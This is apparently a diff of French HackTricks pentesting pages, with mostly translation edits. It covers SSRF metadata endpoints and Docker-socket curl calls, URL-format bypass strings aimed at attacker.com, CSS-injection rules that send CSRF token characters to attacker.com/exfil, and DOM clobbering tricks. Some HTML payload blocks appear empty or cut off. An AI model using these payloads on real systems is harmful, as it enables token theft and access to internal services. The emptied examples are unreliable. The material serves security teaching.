: +- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` +- À l'intérieur du conteneur, utilisez curl avec le socket Docker : +- `curl --unix-socket /var/run/docker.sock http://foo/containers/json` +- `curl --unix-socket /var/run/docker.sock http://foo/images/json` + +## Rancher + +Les métadonnées de Rancher peuvent être consultées en utilisant : +- `curl http://rancher-metadata//` -(entête requis ? inconnu) -``` -http://169.254.169.254/2009-04-04/meta-data/ -``` -## Oracle Cloud -``` -http://192.0.0.192/latest/ -http://192.0.0.192/latest/user-data/ -http://192.0.0.192/latest/meta-data/ -http://192.0.0.192/latest/attributes/ -``` -## Alibaba -``` -http://100.100.100.200/latest/meta-data/ -http://100.100.100.200/latest/meta-data/instance-id -http://100.100.100.200/latest/meta-data/image-id -``` -## Kubernetes ETCD -Peut contenir des clés API et des IP internes et ports -``` -curl -L http://127.0.0.1:2379/version -curl http://127.0.0.1:2379/v2/keys/?recursive=true -``` -## Docker -``` -http://127.0.0.1:2375/v1.24/containers/jsonSimple example -docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash -bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json -bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json -``` -## Rancher -``` -curl http://rancher-metadata// -``` -```markdown
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder surveille votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-``` diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index f7303968c..2b9a5e347 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -2,21 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -93,9 +93,9 @@ spoofed.burpcollaborator.net = 127.0.0.1 ``` ![](<../../.gitbook/assets/image (649) (1) (1).png>) -L'**extension Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage d'IP. +L'extension **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implémente des contournements de formatage d'IP. -### Analyseur de Domaine +### Analyseur de domaine ```bash https:attacker.com https:/attacker.com @@ -161,7 +161,7 @@ next={domain}&next=attacker.com ``` ### Contournement des chemins et des extensions -Si vous devez utiliser une URL qui se termine par un chemin ou une extension, ou qui doit contenir un chemin, vous pouvez essayer l'un des contournements suivants : +Si vous devez spécifier que l'URL doit se terminer par un chemin ou une extension, ou doit contenir un chemin, vous pouvez essayer l'un des contournements suivants : ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension @@ -169,12 +169,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing -L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner la regex utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) également pour plus d'informations. +L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) pour plus d'informations. ### Contournement via redirection -Il est possible que le serveur **filtre la requête originale** d'une SSRF **mais pas** une réponse de **redirection** possible à cette requête.\ -Par exemple, un serveur vulnérable à SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) vers l'endroit où vous souhaitez rediriger, vous pourriez être capable d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même des **protocoles filtrés** comme gopher.\ +Il est possible que le serveur **filtre la requête d'origine** d'une SSRF **mais pas** une éventuelle réponse de **redirection** à cette requête.\ +Par exemple, un serveur vulnérable à la SSRF via : `url=https://www.google.com/` pourrait être en train de **filtrer le paramètre d'URL**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder aux adresses IP filtrées** comme 127.0.0.1 ou même aux **protocoles filtrés** comme gopher.\ [Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 @@ -200,36 +200,38 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### Astuce du backslash -En résumé, l'_astuce du backslash_ repose sur l'exploitation d'une petite différence entre deux spécifications d'URL : la [Norme URL WHATWG](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). RFC3986 est une spécification générique et polyvalente pour la syntaxe des _Identifiants de Ressource Uniformes_ (URI), tandis que la Norme URL WHATWG est spécifiquement destinée au Web et aux URL (qui sont un sous-ensemble des URI). Les navigateurs modernes implémentent la Norme URL WHATWG. +La *technique du backslash* exploite une différence entre le [Standard des URL WHATWG](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), impactant la façon dont les URL sont analysées, marquant spécifiquement la transition de l'hôte vers le chemin dans une URL. -Les deux décrivent une manière d'analyser les URI/URL, avec une légère différence. La spécification WHATWG décrit [un caractère supplémentaire](https://url.spec.whatwg.org/#authority-state), le `\`, qui se comporte exactement comme `/` : il termine le nom d'hôte et l'autorité et commence le chemin de l'URL. - -![Les deux spécifications analysent différemment la même URL](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) +![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ### Autres Confusions -![](<../../.gitbook/assets/image (629).png>) +![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>) image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) +# Références +* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) +* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) +
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des APIs aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/pentesting-web/xs-search/css-injection/README.md b/pentesting-web/xs-search/css-injection/README.md index 393fd7d0b..ea0b742ef 100644 --- a/pentesting-web/xs-search/css-injection/README.md +++ b/pentesting-web/xs-search/css-injection/README.md @@ -2,15 +2,15 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
@@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks : ### Sélecteur d'attribut -Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si la valeur de l'attribut de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée : +Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si l'attribut de valeur de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée: ```css input[name=csrf][value^=a]{ background-image: url(https://attacker.com/exfil/a); @@ -77,16 +77,16 @@ Au lieu de charger la même page une fois et encore avec des dizaines de charges @import url('//attacker.com:5001/start?'); ``` 1. L'import va **recevoir un script CSS** des attaquants et le **navigateur va le charger**. -2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants.** +2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants à nouveau**. 3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cet import avec la charge utile pour divulguer les suivants. -4. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**. +4. La deuxième et plus grande partie de la charge utile va être un **payload de fuite de sélecteur d'attribut**. 5. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**. -6. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il répondra à l'import demandé à l'étape 2. +6. Une fois que le serveur des attaquants a reçu le **premier et le dernier caractère du secret**, il va **répondre à l'import demandé à l'étape 2**. 7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci elle essaiera de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**. L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**. -Vous pouvez trouver le [**code de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection) +Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection) {% hint style="info" %} Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme: @@ -110,7 +110,7 @@ Pas de soucis, il suffit de vérifier la **sortie** car **vous pouvez y voir le Autres façons d'accéder aux parties du DOM avec les **sélecteurs CSS** : * **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM. -* **Sélecteur** `:empty` : Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** +* Sélecteur **`:empty`** : Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:** ```css [role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); } @@ -145,19 +145,19 @@ font-family: 'poc'; ``` 1. **Utilisation de police personnalisée**: - - Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise ` ``` {% hint style="warning" %} -La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte d'**indéfini**. +La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte **indéfinie**. {% endhint %} -Pour écraser des attributs plus profonds, vous pouvez utiliser des **iframes avec encodage HTML** de cette manière : +Pour écraser des attributs plus profonds, vous pouvez utiliser **des iframes avec un encodage html** de cette manière : ```html @@ -65,9 +65,9 @@ Pour écraser des attributs plus profonds, vous pouvez utiliser des **iframes av alert(a.b.c.d.e)//controlled ``` -### **Contournement de filtres** +### **Contournement de filtre** -Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pouvez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et plus encore sont également **écrasables**. +Si un filtre **parcourt en boucle** les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pourriez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et d'autres encore sont également **écrasables**. ```html
@@ -78,52 +78,48 @@ console.log(document.getElementById('x').nodeName)//FORM console.log(document.getElementById('y').nodeName)//[object HTMLInputElement] ``` -## **Écrasement de `window.someObject`** +## **Écraser `window.someObject`** -Un modèle couramment utilisé par les développeurs JavaScript est : +En JavaScript, il est courant de trouver : ```javascript var someObject = window.someObject || {}; ``` -Si vous pouvez contrôler une partie du HTML sur la page, vous pouvez écraser la référence `someObject` avec un nœud DOM, tel qu'une ancre. Considérez le code suivant: +Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancre pointant vers un script malveillant: +```html + +``` +Dans un code vulnérable tel que : ```html ``` -Pour exploiter ce code vulnérable, vous pouvez injecter le HTML suivant pour écraser la référence `someObject` avec un élément d'ancre : +Ce méthode exploite la source du script pour exécuter du code non désiré. -{% code overflow="wrap" %} -```html - -``` -{% endcode %} +**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **``** fera que l'encodage HTML `"` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**. -Injecter ces données **`window.someObject.url`** va donner `href=//malicious-website.com/malicious.js` +Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels. -**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas les guillemets doubles**. Cela signifie que vous pouvez **injecter une guillemet double encodée qui sera décodée à l'exécution**. Par conséquent, l'injection de quelque chose comme **``** fera que l'encodage HTML `"` sera **décodé à l'exécution** et **s'échappera** de la valeur de l'attribut pour **créer** l'événement **`onerror`**. - -Une autre technique courante consiste à utiliser l'élément **`form`**. Certaines bibliothèques côté client parcourront les attributs de l'élément de formulaire créé pour le nettoyer. Mais, si vous créez un `input` à l'intérieur du formulaire avec `id=attributes`, vous allez **écraser la propriété d'attributs** et le nettoyeur **ne pourra pas** parcourir les **vrais attributs**. - -Vous pouvez [**trouver un exemple de ce type d'écrasement dans ce writeup CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2). +Vous pouvez [**trouver un exemple de ce type de clobbering dans ce compte rendu de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2). ## Écrasement de l'objet document -Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant DOM Clobbering: +Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering: -> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arbre selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux : +> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux : > -> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ +> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ > \ -> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ +> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\ > \ -> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root). +> \- La valeur de l'attribut [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) de contenu pour tous les éléments [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) qui ont à la fois un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et un attribut de contenu name non vide, et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root). -En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes de l'interface Document comme `document.querySelector`. +En utilisant cette technique, vous pouvez remplacer des **valeurs couramment utilisées telles que `document.cookie`, `document.body`, `document.children`**, et même des méthodes dans l'interface Document comme `document.querySelector`. ```javascript document.write("") @@ -142,55 +138,53 @@ HTMLCollection(2) [img, form, cookie: img] typeof(document.cookie) 'object ``` -## Écriture après l'élément ciblé +## Écriture après l'élément écrasé -Vous pouvez écraser les résultats d'un appel **`document.getElementById()`** et **`document.querySelector()`** si **vous injectez une balise `` ou `` avec le même attribut id**. Voici un exemple: +Les résultats des appels à **`document.getElementById()`** et **`document.querySelector()`** peuvent être modifiés en injectant une balise `` ou `` avec un attribut id identique. Voici comment cela peut être fait : ```html - +

-clobbered +clobbered ``` -Ce qui est également intéressant, c'est que vous pouvez **cacher des éléments de `innerText`**, donc si vous injectez une balise HTML/body, vous pouvez utiliser des styles pour la cacher de `innerText` afin d'empêcher d'autres textes d'interférer avec votre attaque: +De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence avec d'autres textes dans le `innerText` peut être évitée, améliorant ainsi l'efficacité de l'attaque: ```html -

+

existing text

